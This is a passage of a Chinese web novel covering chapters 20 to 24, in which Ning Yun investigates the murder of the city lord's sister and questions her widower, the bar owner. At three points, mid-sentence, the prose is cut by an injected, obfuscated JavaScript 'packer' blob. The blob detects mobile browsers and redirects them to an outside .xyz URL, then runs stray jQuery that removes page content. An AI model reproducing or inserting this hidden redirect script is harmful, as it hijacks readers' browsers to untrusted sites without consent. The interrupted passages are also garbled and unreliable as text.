也不知道戳到了他哪里的笑点,笑得直不起腰来。 片刻后,他很轻地说了句:“也许吧。” 就这个也许,让宁筠从警局一路猜到了城主府。 仇景澄看起来只是想赚她一笔钱,实际上第一次出现,是因为仇远打翻了她的酒杯,目的是给仇远找补。 第二次依旧在仇远旁边,并且将仇远介绍给了她。 第三次出现就是在这里,指名道姓要找她,目的也是仇远。 或许还出现了更多次,只不过宁筠一直没有注意到他的存在。 酒城似乎处于现代与旧时代的交叉点,城主府依旧保留着平砖、瓦房,与四周日新月异的赛博朋克风截然不同。 一进了门,仇景澄带着她七拐八拐,看起来对路颇为熟悉,直到一座类似于正厅的建筑,他带着宁筠停在门前,悄声说:“到时候你就实话实说,城主秉公无私,不会冤枉你的。” 听起来,城主是个很厉害的人。 直到进了门,仇兰月就坐在一个现代化的办公桌旁,旁边似乎有人在向她汇报着什么,偶尔能听到她的声音,不急不缓,清晰又明了。 简洁、干练,这是仇兰月给宁筠的第一个印象。 直到下属匆匆离开,仇兰月才将目光落在她的身上。 “宁筠?”仇兰月说,“我的外甥给你添麻烦了,他总喜欢拉着别人做些不切实际的事情,谢谢你愿意陪他疯。” 其实是帮了好大一个忙。 宁筠说:“仇远失踪了吗?” 仇兰月面色担忧,缓缓点了下头。一个干练的女人也会露出这般疲惫的神情,想来是仇远的失踪让她大受打击。 “最后一次记录是你们一起进了星空之城,虽然我的人一直在阻扰他,但他……” 后面的话没说,但想来也知道,仇远最后一定是摆脱了仇兰月的监视,这才摸进了星空之城。 宁筠决定实话实说,将如何找到的仇远,如何进入的星空之城,以及仇远的目的全盘托出,将他卖了个彻底。 听到最后,仇兰月紧蹙的眉头放了下来,无形地松了口气。 “我知道他在哪里了,不管怎么样,都很感谢你。” 酒城上下透露出一股腐败的气息,而仇兰月却给她一种明事理、干净廉洁的感觉。 这种人若是没有雷霆手腕,不可能压得住这群蛀虫,所以宁筠觉得,这人应该不像表面那么简单。 不知道仇兰月吩咐了什么,下属很快就带着仇远进了门。 仇远看起来赌气得很,进了门就嘟嘟囔囔地说些“被背叛了”、“找了一晚上没看人”之类的话,在见到仇兰月之后,就立马跑了过去,大声地喊着。 “小姨!我被人骗了!” 仇远“噔噔噔”跑到一半,半路停顿了一下,然后慢慢地回头,才发现骗子本骗站在小姨身旁,看起来十分无辜。 仇远:“……” 到底怎么个事?他找了一夜的大骗子怎么在小姨身旁? 21. 酒城 仇远睁大了眼睛,指着宁筠,勉强挤出了一句话。 “我找了你一个晚上,你怎么在这里?!” 宁筠:“……” 从监狱里拽过来的,你信吗? 仇兰月这才想起什么似的,“是我让仇在景澄带你过来的。” “我不知道沈枫为什么要通缉你”,但你在0酒城没有害人,也没有作出危害公众设施的行为。至少在我眼里,你是个‘好人’,法律讲先犯错后抓人,所以在你犯错之前,我会先假设你是个好人。” 宁筠默默打断了一句:“我是因为打人进来的。” 仇兰月:“。” 她沉默了片刻,说:“打得好,我也看那老登不顺眼。” 宁筠:“?” 城主果然善心善意,是个大有作为的人。 一旁的仇远已经听懵了,“进哪里了?怎么还打上人了??” 在具体解释了来龙去脉后,仇远“嗷”了一声,用一种极为怜爱的表情看着她。 “你居然惹了基地,怪不得跑这里呢。” 听起来干这事的人还不少,怪不得沈枫如此熟练,在监狱时的狱警也没什么害怕的感觉,如果这样的话…… 还未等宁筠想出个所以然,就听到办公桌上的固定电话响起了铃声。 作为末世,人类生存空间急剧缩小,原本的基站大多报废不可用,手机这种优秀的通讯产品逐渐成为上流社会的奢侈产品,平民们更难以接触,更多是以书信等形式,靠着列车远距离沟通。 像这样的座机,整个城主府有且仅有一个,更别提更加先进的触屏通讯手机。 仇兰月摁了接通键,里面就传来了一阵沙沙的电流声音,紧接着有人说了话。 “城主,基地猎人沈枫已抵达城主府。” 仇兰月:“……” 这话一出,宁筠、仇远两人顿时转了过来,一动也不动地盯着她。满脸写着,“你不是替我摆平了吗”、“这人又是从哪里来的”等让仇兰月尴尬的话。 这一通电话下来,仇兰月的压力颇大。 “放人进来吧。”仇兰月动了动嘴唇,说道。 没过多久,门外传来一阵不紧不慢的脚步声,每一个落脚点都在宁筠的心头上。 基地享有最好的伪人检查设施,第一次能验出来她疑似伪人,第二次就能确定她是伪人。 宁筠心说阎王爷都没这么能催命。 门外的脚步声停了,紧接着是门被人推开的声音,宁筠回头望去,那人的头发微微散乱,像是被风吹到了,衣服却精致平整,显然是刚刚整理过的。 “这就是酒城的态度吗?”沈枫指了下完好无损的宁筠,语气听不出喜怒。 仇兰月微笑着说:“她是我的贵客,目前有要事处理。” 沈枫嗤笑了一声,刚想说些什么,就被仇远无理取闹般打断—— “小姨!她还没帮我找到线索呢,不能交给别人。” “我们答应好的。”宁筠连连点头,“仇远太思念母亲,这种重大悬案能推迟这么多年,我怀疑其中有大佬在幕后当推手。” 眼见话题开始跑偏,沈枫浑身开始嗖嗖冒冷气,“你要保她?” 宁筠悄悄将手放在背后的枪支上,如果沈枫执意要带走她,那她只能掏枪,从城主府逃出去。 要逃到哪里去呢…… 宁筠的眼睛有了些许迷茫。沈枫能找到她,说明酒馆已经不安全了,为了活命,刚安定下来的基地只能抛弃。 但是—— 她还答应着齐荦荦会带回最好的酒保,也答应了怀文雪给她调酒,在末世里好不容易交到了两个朋友,宁筠还不想这样失去她们。 会有别的破局办法吗? “不。”仇兰月说,“我做了城主这么久,却还是让仇远忍饥受饿,是我的失职,我只想完成仇远的心愿。” “所以她暂时不能交给你。” 还真保了。 沈枫的冷气显然更重了,唇瓣抿成一条直线,片刻之后才说:“行,结束之后我要带走她,你不能拦。” 事情就这么愉快的决定了,原本已经确定好执行死刑的宁筠突然被判了死缓,甚至受宠若惊。 “当然。”仇兰月瞥了一眼宁筠,说,“如果她要跑,你也可以直接抓了她,我不会阻止。” 仇兰月不愧做了这么多年的城主,一下子就看破了宁筠的想法。 她刚刚确实有想过,趁着死缓的间隙直接跑出去的想法,与其被抓回基地,宁筠更倾向于在乱世之中,跑得一了百了。 但现在又有另一个问题,沈枫能出门抓捕她,说明早已知晓了她的具体位置,自己若是这样逃跑了,或许会牵连着齐荦荦。 她的脑海里浮现了齐荦荦害怕得发抖,却又勇敢地站出来的模样。 末世里,最不该死的就是这样的人。 正当宁筠要离开时,仇兰月拉住了正要离开的宁筠,合上了门,又为宁筠倒了杯茶,对着宁筠向下弯了腰,手心转向座位。 是酒城里邀请别人坐下的礼仪,宁筠在那些大人物身上见过,意思是“我与你有些悄悄话要说”,是关系友好的人才会做的手势。 “我不是一个好小姨。”仇兰月笑容有些苦涩,似乎在回忆什么。 她的声音很轻,“我答应过书章要好好照顾小远的。哦,书章是小远的母亲,也是我的姐姐。” 那天风很大,房门前的古桐树枝剧烈摇晃,仇书章只是披了个披风,长发肆意飞舞,吹到了小小的仇远脸上,惹得仇远一阵啼哭。 仇兰月就是那时候开的门。 当时的她还不是城主,只能住在勉强遮风的瓦房里,在迎接仇书章进门时,她清楚地看到姐姐的脸上,似乎有潮湿的痕迹。 “你哭了?”仇兰月问。 仇书章将仇远哄睡,声音很轻,夹杂着些许藏不住的颤抖,“被风吹的。”紧接着又小心翼翼地问,“我可以过来住几天吗?” 仇书章结婚三年,这是她第一次这样开口恳求仇兰月,像是被逼到了极致。 “到底发生了什么事?”仇兰月听到自己在问。 其实是不该问的,因为她的姐姐只会把这些苦恨吞到肚子里,然后笑着对她说“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932069|159806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没事”,再背着她,悄悄将这些事解决的一干二净。因为这个性格,母亲总说姐姐是个天生当城主的人。 事实上,仇书章也确实要继承城主的位置了。 但神差鬼使的,她听到了极低的一声呜咽,还有一句她怎么也听不清的一句话。 成为了她日后噩梦的根源。 仇书章来得快,走得也快,仿佛这次的脆弱只是她不经意之间的外泄。 再然后,她就听到了姐姐的死讯。 姐姐死在了家里,鲜花落了满地,每一朵都沾染上了她的血迹。 没人清楚她是怎么死的,胆小怕事的酒吧老板,也只会机械地重复着“不是我杀的,不是我杀的……” 现场没有什么痕迹,幕后凶手将这一切掩盖的很好,即使她知道害死姐姐的人,一定是不想姐姐当选城主的人,她却依旧无法找出凶手。 因为她是个懦弱的人。 正如母亲所说的,她不适合当城主。 直到后来,仇兰月发现这群凶手杀害了姐姐后,仍将魔爪伸向了她的孩子。 绑架、拐卖,强迫仇远盗窃、抢劫…… 他们害死了仇书章,又将心思放在了她的身上,为了让她信誉破产,他们无所不用其极。 仇兰月保护了仇远一次又一次,在很久以后才发现,最好的办法是放着不管。 只要她对仇远不闻不问,那些人就不会间接迫害仇远,于是她将果木酒吧附近的店铺全都盘下来,换上自己的人,看似不闻不问,实际上做到了最大的保护。 毕竟她是个懦弱的人,除此之外,她想不到更好的办法了。 “我有时在想,姐姐当时跟我说的话是什么。”仇兰月托着下巴,泪水滴进了茶杯中,浅黄色的茶水泛起波澜,扰乱了仇兰月哭红的脸。 “或许是救救我,或许是托我照顾仇远。”她声音很轻,“总之我没有做到,我也不是个好小姨。” 宁筠安静地听着,她看到仇兰月哭红了眼眶,也看到自己伸出手来,递给她一条手帕。 “我会帮仇远完成的。”宁筠听到自己说。 仇兰月笑了几下,苦涩的,又像是解脱了的笑容,“谢谢。” 房门悄然打开又合上,独留仇兰月一个人,坐在椅子上背对着大门,像是在看日落。 仇景澄不知道在这里站了多久,领着仇远,见宁筠出来了,就对着她弯了下眼睛,“有什么需要我提供的,免费。” 宁筠问:“你是仇兰月的……” “弟弟。”他拍了拍仇远的头,“准确来说,小10多岁的弟弟。” 果然是骗子。宁筠心说不是和城主关系挺亲的吗。 “目前有什么已知信息吗?”宁筠问。 “对方背景不小,果木酒吧老板应该不是完全无辜的,剩下不清楚了。” “果木老板不无辜?”宁筠愣了一下,“他不是仇远的父亲吗?” 仇景澄笑了下,“你见过对亲生孩子不闻不问的父亲吗?还是心爱的女人生下的孩子。” 宁筠抿着唇,她自小在孤儿院长大,确实不清楚这件事。 22. 酒城 白天的果木酒吧比夜晚萧条许多,没了霓虹灯的映照,室内仅有窗户处照射的几分微弱光线,阴森森的,和鬼屋也没什么区别了。 一旁充当随行的沈枫显然不喜欢这个环境,拧着眉,粗略地扫了一圈后,又将视线放回在宁筠身上,这才稍平了眉间的褶皱。 如果酒吧是个鬼屋,沈枫毫无疑问就是那个鬼。 宁筠被视线盯得有些发毛,默默拽着仇远,说:“带个路。” 仇远赢了一声,直奔着二楼的房间而去。 木质楼梯年久失修,踩上去噼里啪啦地响,房间里传来老板能掀翻屋子的呼噜声,几个人木着脸,一脚踹开了门。 也没把老板踹醒。 老板睡得四仰八叉,单薄的被子遮不住什么,清晰可见保养极好的细腻皮肤,随着呼吸微微颤动。 众人没想到看到的是这一幕,无言相对了一会儿,将视线落在仇远身上,一副“你真是你爹好大儿”的神情。 仇远唇瓣嗡动了几下,弱弱地吐出一句话:“我也不知道,我平常又不观察我爹几点睡。” 所以谁来叫醒他? 在众人静默的对视中,仇景澄叹了口气,站出来,道:“姐夫,醒醒,给您送温暖了。” 温暖送到被窝里的不太多见。 老板醒了后,看到了满屋子的人,当即“嗷”了一声,“你们怎么进来的?!” 然后把自己“嗷”到了吧台,附赠了一条亮银色的手链。 老板顶着一窝鸡窝头,眼中有着宁筠看不出的深邃,沉默地盯了他那“孝顺的”儿子许久,直到对方承受不住闪躲开,才收回视线,深吸了一口气。 “我不知道你们在说什么,但书章的事,我很自责。” 沈枫嗤笑了一声,拿着不知道从哪里顺来的毛巾,擦拭着帽檐,明明什么都没说,嘲讽意味十足。 效果拔群,老板声音当即就有些不对劲了。 “我真的很自责!是我没保护好她,明明当初结婚的时候,说要替她挡一辈子的风雨,结果……结果她却……”说到最后,几乎要控制不住自己的眼泪,打湿在裤腿上。 宁筠仰头看着仇景澄,收获了对方也有些意外的神情,她沉默了一下,觉得仇家的这几个人都不大靠谱。 她决定亲自上阵,问:“你和仇书章,是怎么认识的?” 老板吸了下鼻子,红着眼回忆道:“我和她相识在16年前的夏天。” 那时的老板才21岁,当上雇佣兵不久,被总部派往第一个任务。 老板不记得与伪人厮杀了多久,只记得整个队伍只剩下了他一个人,在完成任务的当天,麻木的他在大街上摇摇晃晃,无意中在一个公益处驻了足。 上面的食物琳琅满目,无数的饥民、难民大喊大叫,试图将桌面的食物收入囊中,却总会被一个女生抢先夺走,用清脆的声音盖过无数难民的争夺声。 “别挤,大家都有份的!……哎哎,你别抢,不够吃的话我这里还有,记得排队!” 那是老板第一次遇到仇书章。 仇书章很漂亮,五官精致,眼眸宛若璀璨星辰,笑起来时,星辰便折成了弯月,与仇兰月描述的成熟稳重相反,她是个很活泼的女孩。 “给,你也饿了很久吧?”仇书章弯下腰,笑容满面地递给他一块面包。 老板其实不缺钱,但不知道出于什么心思,他还是接下了这块面包。 面包硬的可怕,用力一敲能砸碎一个核桃。老板不喜欢吃,但看到仇书章弯着的眼睛,满脸期待的神色,他一口水没喝,全吞下肚了。 神差鬼使的,他却总怀念着面包的味道,甚至不惜每天在摊子面前蹲守,从天亮蹲到天黑,从热闹非凡的街道,蹲到了满目萧条,连最后一个铺子都关了门。 那时的酒城还不叫酒城,也并不流行酒吧,天黑的早,人们睡得也很早。 直到某一天,老板向往常一样蹲守,意外地发现那张落满了灰尘的摊子,竟然重新支了起来。 摊位上的女孩笑意盈盈,见他的第一句是:“那天的面包好吃吗?我亲自做的!” 她居然记得自己。 老板不知道被人挂念是什么滋味,但出乎意料的觉得不错。 他开始试探着说一些自己的经历,就像他的前辈们一样,将这些残酷的、凄惨的经历变成了故事,一字一句地讲给她听。 在那一瞬间,他似乎明白了前辈们为什么会满脸的沧桑,为什么会将刻骨铭心的经历当成故事调侃。 因为只有这样才能证明,自己真真实实地活过一次,在别人口中。 有了仇书章的鼓舞,老板像是打了鸡血,很快从一个小喽啰升到了队长,管理着几个小分队。 老板想把这个好消息告诉给仇书章,可怎么等,也没等到她的出现。 难民们等了许久,发疯似的打砸着摊子,将桌面上的卡片、海报撕得粉碎,然后骂骂咧咧地离开。 意识敏锐的老板却察觉到不对劲,他发疯似的找了一条有一条的街道,直到在某个巷口里,看到了虚弱不堪的仇书章。 她的脸色绯红,含糊不清地嘟囔着什么,老板没听清,但在他靠近的那一刻,却被仇书章反向压住。 老板怔愣了好久,在最后一刻才意识到什么。 他好像被……嗯…… 事后的仇书章像个负责的大丈妇一样,好心替他披了几件衣服,一脸的抱歉,“如果你不介意的话,我们结婚?” 哪里怪怪的。 老板就这样迷迷糊糊地结了婚。 再后来,她们有了仇远。再再后来,仇书章死在了卧室里。 深陷入回忆的老板,声音很轻,像是在讲什么不知名的故事,将一切全盘托出。 仇景澄对着宁筠说悄悄话:“有看出什么端倪吗?” 宁筠捏着从柜子里翻出来的杯子,喝了几口,说:“听起来没什么问题,不像是有目的接近你姐姐。” 在来时的路上,宁筠和仇景澄已经瞎分析了一通。 宁筠说:“有两种可能。一种是果木酒吧老板婚后出轨,对仇书章的爱意消散,最终对生下来的孩子不管不顾,这种比较简单,只要推测出什么时候变心,就可以确定这事和他有没有关系。” “另一种呢?” “另一种是老板从一开始就不喜欢仇书章,带着另一种目的接近她。这种情况就比较复杂了,老板的背后一定有人,或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938696|159806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者说有一个想要暗杀仇书章的组织,我们需要将这个组织揪出来,将真相公之于众。” 仇远脚步停顿了一下,有些不太赞同地说着:“为什么一定要假设我爹是凶手,妈妈在时,他其实挺好的……” 仇景澄:“你知道你妈妈她死在哪里了吗?” 仇远摇头,表示自己不记得了。 “在卧室。”仇景澄继续说,“你再猜猜看你的父亲去哪里了?” 深秋的风裹着丝丝凉意,如同一把细小的刀,带着细微的尖锐刺痛,让人忍不住打了个寒颤。 仇远愣在了原地,长长的睫毛轻轻颤动,心里明明已经有了答案,但他还是不死心地问着,“那他去哪里了?” “星空之城。” 仇远自然知道星空之城是什么地方,也知道那里的肮脏与不堪,他只是没想到,自己的父亲似乎也不干净。 片刻之后,他像是想通了什么,声音很轻,隐隐带着颤抖,“他会死吗?” “不知道。” 宁筠随后又补充了一句,“杀害城主候选人,他的罪名不会轻的。” 仇远“哦”了一声,一路上就没再开口,直到老板说完了自己的故事,他也安安静静地等待着。 不知道是在审判老板,还是在审判他。 没多久,仇景澄扬声说:“和我知道的差不多,你没撒谎。” 盖棺定论。 老板神情放松下来,瘫在椅子上,任由仇远将手上的手铐解开。他揉捏着被磨红的手腕,低声骂了一句:“你也不知道帮帮你爹?” “我也想知道,当年的事,是否和您有关系。”仇远的眼眸里布满了水汽,像是蒙上了一层雾,随着他唇瓣的抽搐,挤出了难看的笑,“还好您没有。” 老板沉默了好久,摸着他的头发,“对不起,我一直以来都对不起你,我看到你,我就……” 他深吸了一口气,眼泪又开始啪嗒啪嗒掉了起来。 宁筠没空看二人的父子情深,而是在与仇景澄讨论另一种可能性—— “他可能撒谎了。” 仇景澄眉头紧蹙,“他没必要在相识这件事上撒谎,当初这事全城传遍了,赞美她们的爱情故事。” “不,我是说……”宁筠抬头看着紧紧抱着仇远的老板,“他可能在小巷的时候,撒谎了。” “你觉得一个自尊自强的女性,会把第一次给他就会嫁给他吗?” 仇景澄愣住了。 “你是说……” “城主丈夫这么好的位置,她会轻易地让出去吗?” 酒吧内的灯光昏暗,秋风呼啸而过,吹得仇景澄内心冰冷一片。 众所周知,仇书章是个有责任心,又能独揽大权的稳重姐姐,这样的人绝对不会允许自己的周围,有任何来历不明的因素。 所以老板是怎么获取仇书章信任的? 正当宁筠要问些什么的时候,却发现沈枫侧过身,手中的帽子挡住了其他人,独留两个人的脸,贴得极进。 沈枫声音很轻:“内容模糊、过度解释,是撒谎的典型表现。” 宁筠偏头看了他一眼,他又转了回去,捏着帽檐扇着微风,像是什么都没发生一样。 23. 酒城 其实就算沈枫不说,宁筠也意识到了不对,但他的话倒是提供了些许思路,反倒是让宁筠开始思考,究竟是哪里的叙事出现了模糊。 首先是老板从哪里找到的仇书章,又是在哪里找到的,他只字未提。 其次是仇书章被害,究竟是被谁害,被害的过程,老板所言模糊不清。 这恰恰是两个很关键的地方。 这人一副游离于局外的模样,没想到也会有出手帮忙的时刻。 沈枫倒是表情很奇怪,“你早点破案,我早点抓你回基地,不正常吗?” 哦。 宁筠收回视线,心想逃跑计划该提上日程了。 那边的父子情深还在继续,老板像是在安抚仇远,一只手放在仇远的后背,另一只手放在脖颈间,说着什么悄悄话。 而仇远脸色绯红,眼眸闪着泪光,似乎感动到了极致。 但细看下去,宁筠总觉得越来越不对劲。 比如仇远的脸红到快要发紫,又比如老板的手指几乎泛了白…… 宁筠冲到父子俩面前,强行将双方分离开。 “噗通”一声,仇远跪在了地上,伸出手捏着脖子,不停地咳嗽着,脸色由红变成了白。 被吓的。 仇景澄也看出了不对劲,一把将外甥护在了身后,厉声质问:“你疯了?那是你亲儿子!” 哪有人会想掐死自己亲生孩子的? 面对仇景澄的质问,老板显得很冷静。 “我只是在教育他,不要给自己找麻烦。” 宁筠没见过猪肉,但见过猪跑,在前世的学校里,有家长的小朋友们,他们的家长似乎并不会这样教育孩子。 见所有人的神态奇怪,老板又补了一句:“难道你们不会这样教育孩子吗?” 教育孩子? 宁筠没孩子,仇景澄不像是有孩子的样子,至于沈枫…… 沈枫的脸色更冷了,不耐烦地“啧”了一声,“我看起来像是有孩子的?” 那就是没有了。 “但据我所知,正常人教育孩子,不会想掐死他。” 老板垂着头,视线有些恍惚,两只手在空中抓着什么,然后又不甘心地放下。 “抱歉啊,我父亲就是这样教我的,所以我……” 还未等老板说完,仇景澄已经不耐烦了。 “所以你这些年是这样养仇远的?” 老板没说话,仇景澄又将视线看向了仇远,后者将头向窗外撇,一副做贼心虚的模样,半响后说:“他只是有点……” 似乎是说不下去了,声音越来越小,像是连自己都骗不下去了。 看来仇远已经意识到,自己与父亲的日常相处不对劲,且十分不对劲。 老板倒是毫不心虚,说:“我可以回去睡回笼觉了吗?昨夜忙死我了。” “别急,你还没摆脱嫌疑。”宁筠说。 老板的手停顿了一下,转而扶了下脸上的眼镜。 显然有些不耐烦了,但还是保持着良好的教养,耐心倾听着。 宁筠问:“你是在哪里找到的仇书章?” “在一个我从未走过的小巷里。” “怎么找到的?” “听到了里面的打斗声。” —— 老板在摊子面前等了很久,才意识到十分准时的仇书章,今天似乎迟到了。 但他总觉得有些不安。 摊子附近是人流量最大的区域,这里一定有人能知道仇书章去了哪里。 他不停地打听着,直到门口的一个大娘若有所思地说着。 “那孩子啊,早上似乎是跟谁走了。”大娘指了一个方向,“朝那边去了,我看那孩子也不像是被迫的,或许是真的有事呢?” 老板与仇书章相识很久,自然知道仇书章的性格,若是她安排好的事情,绝对不会有任何逾越。 除非……除非出意外了。 在想到这个可能,老板惊出了一身冷汗,等到他反应过来时,自己顺着大娘提出的方向跑了很久,久到连他也不知道自己跑到了哪里。 似乎是个荒芜人烟的小巷,前后左右都不见人,连问个路也没办法,老板只得慢慢踱步,看着太阳辨认方向。 可惜盛夏多见雨,不一会天就转了阴,淅淅沥沥地下起了雨,随着冷风一起钻到人的骨头里。 老板彻底迷路了。 他在周围徘徊了很久,最后甚至连回去的路都找不到,正当他想放弃的时候,一阵微弱的惨叫声混合着雨声,模模糊糊地传入老板的耳朵里。 像是个男性的惨叫声。 这或许是个好消息,又或许不是个好消息,万一仇书章不在那里,他顺着声音找过去,就错过了最佳机会。 老板不敢赌是不是仇书章的可能性,就顺着声音的方向,飞快地跑了起来。 直到某一处的小巷里,他看到了怎么也找不到的仇书章。 以往活泼漂亮的脸沾满了泥灰,明明面对着一群人,她却丝毫不怕,顽强地与几个小混混打斗起来,又顺利地撂倒几个人,惹得小混混下手更加凶猛。 说是混混,若是能仔细看下去,其实就能发现,混混们有统一的着装,甚至还有几分身法,实在是不像是混混。 但老板的大脑一片恍惚,完全没有注意到这一切,凭借着丰厚的经验打败了混混们,才恍然回了神。 “你没事吧?”老板关切地问。 话音落了半响,也没有人搭话,老板转过头,才发觉仇书章不知何时倒在了地上,脸色苍白与绯红交织,似乎是受了很严重的伤。 而一旁倒地不起的混混竟然又站起了身,本想晃晃悠悠地朝着仇书章而去,但看到一旁守护的老板,脸上却扬起了奇怪的笑容,转身离去。 混混走了之后,老板扶着仇书章起身,顺着胳膊用身体向后甩,将仇书章被在身上。 还未走几步,仇书章已经睁开了眼睛,灼热的气息喷洒在老板的颈间,“你不怕得罪他们吗?” 老板一时没反应过来,“得罪谁?” “他们不是一般的小混混。”仇书章笑了一下,在满是泥泞的脸上,反倒是多了几分其他的意味,“我是城主候选人,他们是来阻止我当城主的。” 老板僵住了,他单单知道她姓仇,但从未想过,这人会是大名鼎鼎的仇书章,以至于那只顺着腰窝的手,一时不知道该放下,还是继续托着。 没过多久,他还是将仇书章背了起来,轻哼了一声。 “不怕。你以后一定是个好城主,救你说明我做对了。” 这句话让仇书章笑得直不起腰,牵动了伤口,又猛地吸了口气,然后继续笑着。 “谢谢。”仇书章说。 她说出这句话没过多久,呼吸越来越微弱,与之相对的,空气里似乎有什么灼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14949277|159806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热的东西在发酵。 明明是阴雨连绵的天气,老板的喉咙却像是被砂纸摩擦过,干涩生疼,他奋力地咽了下口水,却总觉得自己应该需要别的东西。 后来的老板才知道,那群混混们手中撒了药,只为了让运动激烈的仇书章吸入,然后败坏她的名声。 好在老板及时赶到,维护了仇书章的名誉。 “后来我们就制造了一个理由,让幕后那些人做空了念想。”老板说,“这就是我们所谓的神仙故事。” 想来是与神仙故事有许多偏差的,不然仇景澄不会露出十分失望的神情。 仇景澄不死心地问:“那你们脚踢混混,联合侦破幕后黑手,姐姐为爱献身,都是假的?” 没得到老板的回应,他满脸的道心破碎,抬手重重地搓向脸颊,无奈地叹了一声。 “没有别的了吗?”宁筠继续问。 老板:“没有了,这就是事情的全部。” “那你能说说事发的当天吗?” 老板一脸的抱歉:“那天我出去……“他欲言又止,换了个词,“……办事,还是别人告诉我出事了,我才回了家,结果第一眼看到了死不瞑目的书章。” 说着说着,他痛苦地抱着头,弯下了腰,干呕了起来。 当天的监控与众多罪证都显示与老板无关,而他悲伤欲绝的样子,似乎也不是会出轨的人。 宁筠分析的两种情况都对不上,老板显然不是凶手。 “我们走吧。”宁筠说。 鉴于老板对待亲儿子的态度,仇景澄不放心将仇远放在酒吧里,临走时,领着仇远出了酒吧的大门。 仇远一出门就欢呼雀跃起来,忘记了老板是怎么掐的他,“我就说吧,我爹不是凶手,我爹妈当初很恩爱的!” 仇景澄翻了个白眼:“都要被他掐死了,还要维护他,你真的是……” 仇远又不甘心地反击。两个人吵吵闹闹,一路上倒也不算沉闷。而宁筠就跟在两人后面,旁边的猎人亦步亦趋,生怕她跑了。 直到酒吧的下一个路口,宁筠的脚步突然一顿。 “要找到当初下药的是谁。”宁筠突然蹦出来一句,成功让所有人的视线看向她。 仇景澄:“还怎么找?物证早就没了。” “不找物证,找谁有能力下手。” 仇景澄叹了口气,一脸的无奈:“当初找了,就是因为没有证据,就一直——” 他突然想起来什么似的,“不对,其实大姐出了那件事后,二姐连夜拟了一个名单,上面重点圈着两个人。” “我一开始以为是要重用的人才,但他们被二姐圈上之后就落寞了。” “现在想想应该不对。”仇景澄神色若有所思,“但是二姐她说的话我有点听不懂,她说什么‘还不够’,现在想想应该是……证据不够。” 破案了。 “你还记得这两个人叫什么吗?” “记得。一个是指挥官华武,另一个是长史于环。” 指挥官负责掌管军事,长史负责城市规划。 城市最关键的三个点里,有两个节点在这二人手中,如果他们联合起来,这是一件非常要命的事。 如果是他们对付仇书章,宁筠不太敢想,她当时是处于一种什么样的危险境界。 “华武和于环辞了职位,现在在家养老。”仇景澄看了宁筠一眼,“要去吗?” 24. 酒城 “见。”宁筠说。 几个人向仇兰月发了消息,没过多久,仇兰月返回了消息。 “在第八区32号街1506和1507,你们找他们干什么?” “找到了一点线索。”宁筠说,“你不是也觉得他们有问题?” 电话那头的仇兰月笑了一下,说:“这么快就找到他们头上了,不过他们隐藏得很深,你们这一趟最好别抱有希望。” 宁筠没好意思说不是她们找的,并不觉得能随便找一找就能破案,但问题是…… 有谁知道第八区在哪,32号街有是在哪里吗?? 她环顾了一下四周,沈枫来这里不久,应该不记得路,仇远神色迷茫,看来并不清楚第八区在哪里。她只能默默地将目光放在了仇景澄身上。 一直低头摸鱼的仇景澄突然间顿住了,疑惑地抬头看了看,却发现三双眼睛齐刷刷地盯着他,像是在看什么苦力。 仇景澄:“?” 片刻后他挠挠头,说了一声:“第八区?那里不是贫民窟吗?” 在场的人不认为仇兰月会给她们假消息,于是继续默默地盯着他。 仇景澄被盯得有些毛,“我知道了,我带路就是了。” 如果酒城还带着几分赛博朋克般的高科技情景,第八区就相当于褪了色的旧时光。 50年代碟片播放的那种。 街道两旁皆是破旧的摊子,小贩们也不顾及什么干净卫生,纸与塑料随地堆放,几乎站满了整个人行道。太阳过了顶,油炸的酥香混着烟火和酸臭的气息,与周围小孩老人的汗水味融为一体。 味道很让人上头,宁筠闻了一口就有点醉。 “原本的高职大佬,现在生活在这里?” 仇兰月提供的地址应该不会出错,但宁筠仍然无法想象得到,一个曾经有着光辉岁月的大佬,晚年会混到这种程度。 或许是真的两袖清风、清正廉洁。 几个人拐了弯,顺着一条老旧的街道拐到了另一条,在经历了无数个煎、炸、煮混合的气味中,仇景澄的脚步终于在某个老旧的矮楼中停了下来。 斑驳的墙面上皲裂了好几道痕迹,铁质门口旁边摆了个铁号牌,红漆被染掉了色,依稀可辨上面写着“1506”。 其中一位高职人员的家到了。 街道老旧,但烟火气息十足,人味也很足。 宁筠一踏进大门,就看到久违的伪人进食场面。 伪人就这样大咧咧地站在院子中间寻觅食物,一群不怕事的小孩子们四处躲藏,周围的老头们已经习惯了,只会在伪人快要咬上小孩时来上一棍子,等小孩跑开后,就又不管不顾地在树荫里下起了象棋。 “你们要来找谁?”其中一个老头发现了她们,问。 宁筠愣了一下,回答道:“找于环。你们怎么知道我们要找人?” 